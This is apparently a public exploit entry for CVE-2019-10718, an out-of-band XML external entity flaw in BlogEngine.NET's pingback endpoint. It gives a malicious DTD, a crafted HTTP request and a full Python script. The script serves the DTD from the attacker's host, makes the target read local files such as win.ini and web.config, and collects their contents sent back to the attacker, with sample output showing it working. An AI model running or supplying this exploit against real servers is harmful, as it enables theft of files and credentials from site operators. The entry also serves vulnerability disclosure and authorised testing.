# Exploit Title: Out-of-band XML External Entity Injection on BlogEngine.NET
# Date: 19 June 2019
# Exploit Author: Aaron Bishop
# Vendor Homepage: https://blogengine.io/
# Version: v3.3.7
# Tested on: 3.3.7, 3.3.6
# CVE : 2019-10718

#1. Description
#==============

#BlogEngine.NET is vulnerable to an Out-of-Band XML External Entity
#Injection attack on **/pingback.axd**.

#2. Proof of Concept
#=============

#Host the following malicious DTD on a web server that is accessible to the
#target system:

#~~~
#<!ENTITY % p1 SYSTEM "file:///C:/Windows/win.ini">
#<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://$LHOST/X?%p1;'>"> %p2
#~~~

#Submit a request to `pingback.axd` containing a malicious XML body:

#~~~{command="REQUEST"}
#POST /pingback.axd HTTP/1.1
#Host: $RHOST
#Accept-Encoding: gzip, deflate
#Connection: close
#User-Agent: python-requests/2.12.4
#Accept: */*
#Content-Type: text/xml
#Content-Length: 131

#<?xml version="1.0"?>
#<!DOCTYPE foo SYSTEM "http://$LHOST/ex.dtd">
#<foo>&e1;</foo>
#<methodName>pingback.ping</methodName>
#~~~

#The application will request the remote DTD and submit a subsequent request
#containing the contents of the file:

#~~~
#$RHOST - - [17/May/2019 12:03:32] "GET /ex.dtd HTTP/1.1" 200 -
#$RHOST - - [17/May/2019 12:03:32] "GET
#/X?;%20for%2016-bit%20app%20support%0D%0A[fonts]%0D%0A[extensions]%0D%0A[mci%20extensions]%0D%0A[files]%0D%0A[Mail]%0D%0AMAPI=1
#HTTP/1.1" 200 -
#~~~

#! /usr/bin/env python3
import argparse
import http.server
import json
import multiprocessing
import os
import re
import requests
import sys
import time
import urllib

"""
Exploit for CVE-2019-10718

CVE Identified by: Aaron Bishop
Exploit written by: Aaron Bishop

Submit a XML to the target, get the contents of the file in a follow up request from the target

python3 CVE-2019-10718.py --rhost http://$RHOST --lhost $LHOST --lport $LPORT --files C:/Windows/win.ini C:/Users/Administrator/source/repos/BlogEngine.NET/BlogEngine/web.config C:/inetpub/wwwroot/iisstart.htm C:/Windows/iis.log C:/Users/Public/test.txt

Requesting C:/Windows/win.ini ...
$RHOST - - [16/May/2019 17:07:25] "GET /ex.dtd HTTP/1.1" 200 -
$RHOST - - [16/May/2019 17:07:25] "GET /X?;%20for%2016-bit%20app%20support%0D%0A[fonts]%0D%0A[extensions]%0D%0A[mci%20extensions]%0D%0A[files]%0D%0A[Mail]%0D%0AMAPI=1 HTTP/1.1" 200 -

Requesting C:/Users/Administrator/source/repos/BlogEngine.NET/BlogEngine/web.config ...
$RHOST - - [16/May/2019 17:07:26] "GET /ex.dtd HTTP/1.1" 200 -
Unable to read C:/Users/Administrator/source/repos/BlogEngine.NET/BlogEngine/web.config

Requesting C:/inetpub/wwwroot/iisstart.htm ...
$RHOST - - [16/May/2019 17:07:30] "GET /ex.dtd HTTP/1.1" 200 -
Unable to read C:/inetpub/wwwroot/iisstart.htm

Requesting C:/Windows/iis.log ...
$RHOST - - [16/May/2019 17:07:34] "GET /ex.dtd HTTP/1.1" 200 -
Unable to read C:/Windows/iis.log

Requesting C:/Users/Public/test.txt ...
$RHOST - - [16/May/2019 17:07:38] "GET /ex.dtd HTTP/1.1" 200 -
$RHOST - - [16/May/2019 17:07:38] "GET /X?This%20is%20a%20test HTTP/1.1" 200 -

"""

xml = """<?xml version="1.0"?>
<!DOCTYPE foo SYSTEM "http://{lhost}:{lport}/ex.dtd">
<foo>&e1;</foo>
<methodName>pingback.ping</methodName>
"""

dtd = """<!ENTITY % p1 SYSTEM "file:///{fname}">
<!ENTITY % p2 "<!ENTITY e1 SYSTEM 'http://{lhost}:{lport}/X?%p1;'>"> %p2;
"""

proxies = {
            "http": "127.0.0.1:8080",
            "https": "127.0.0.1:8080"
          }

file_queue = multiprocessing.Queue()
response_queue = multiprocessing.Queue()
response_counter = multiprocessing.Value('i', 0)

class S(http.server.SimpleHTTPRequestHandler):
    server_version = 'A Patchey Webserver'
    sys_version = '3.1415926535897932384626433832795028841971693993751058209749445923078'
    error_message_format = 'Donde esta la biblioteca?'

    def _set_headers(self):
            self.send_response(200)
            self.send_header('Content-Type', 'application/xml')
            self.end_headers()

    def do_GET(self):
        if self.path.endswith(".dtd"):
            self._set_headers()
            self.wfile.write(dtd.format(fname=file_queue.get(), lhost=self.lhost, lport=self.lport).encode('utf-8'))
        elif self.path.startswith("/X"):
            self._set_headers()
            response_counter.value += 1
            response_queue.put(self.path)
            self.wfile.write('<response>Thanks</response>'.encode('utf-8'))
        else:
            self._set_headers()
            self.wfile.write('<error>?</error>')


def start_server(lhost, lport, server):
    httpd = http.server.HTTPServer((lhost, lport), server)
    httpd.serve_forever()

def main(rhost, lhost, lport, files, timeout, proxy, output_dir):
    print(output_dir)
    if not output_dir:
        return
    for f in files:
        file_queue.put_nowait(f)

    server = S
    server.lhost, server.lport = lhost, lport
    p = multiprocessing.Process(target=start_server, args=(lhost,lport,server))
    p.start()
    for num, f in enumerate(files):
        print("\nRequesting {} ...".format(f))
        count = 0
        r = requests.post(rhost + "/pingback.axd", data=xml.format(lhost=lhost, lport=lport), proxies=proxies if proxy else {}, headers={"Content-Type": "text/xml"})
        response = True
        while num == response_counter.value:
            if count >= timeout:
                response = False
                response_counter.value += 1
                print("Unable to read {}".format(f))
                break
            time.sleep(1)
            count += 1
        if response:
            os.makedirs(output_dir, exist_ok=True)
            with open("{}/{}".format(output_dir, os.path.splitdrive(f)[1].replace(':','').replace('/','_')), 'w') as fh:
                fh.write(urllib.parse.unquote(response_queue.get()).replace('/X?',''))

    p.terminate()


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description='Exploit CVE-2019-10718 OOB XXE')
    parser.add_argument('-r', '--rhost', action="store", dest="rhost", required=True, help='Target host')
    parser.add_argument('-l', '--lhost', action="store", dest="lhost", required=True, help='Local host')
    parser.add_argument('-p', '--lport', action="store", dest="lport", type=int, required=True, help='Local port')
    parser.add_argument('-f', '--files', nargs='+', default="C:/Windows/win.ini", help='Files to read on RHOST')
    parser.add_argument('-t', '--timeout', type=int, default=3, help='How long to wait before moving on to next file')
    parser.add_argument('-x', '--proxy', dest="proxy", action="store_true", default=False, help='Pass requests through a proxy')
    parser.add_argument('-o', '--output', nargs='?', default="./CVE-2019-10718", help='Output directory.  Default ./CVE-2019-10718')
    args = parser.parse_args()

    if isinstance(args.files, str):
        args.files = [args.files]
    main(args.rhost, args.lhost, args.lport, args.files, args.timeout, args.proxy, args.output)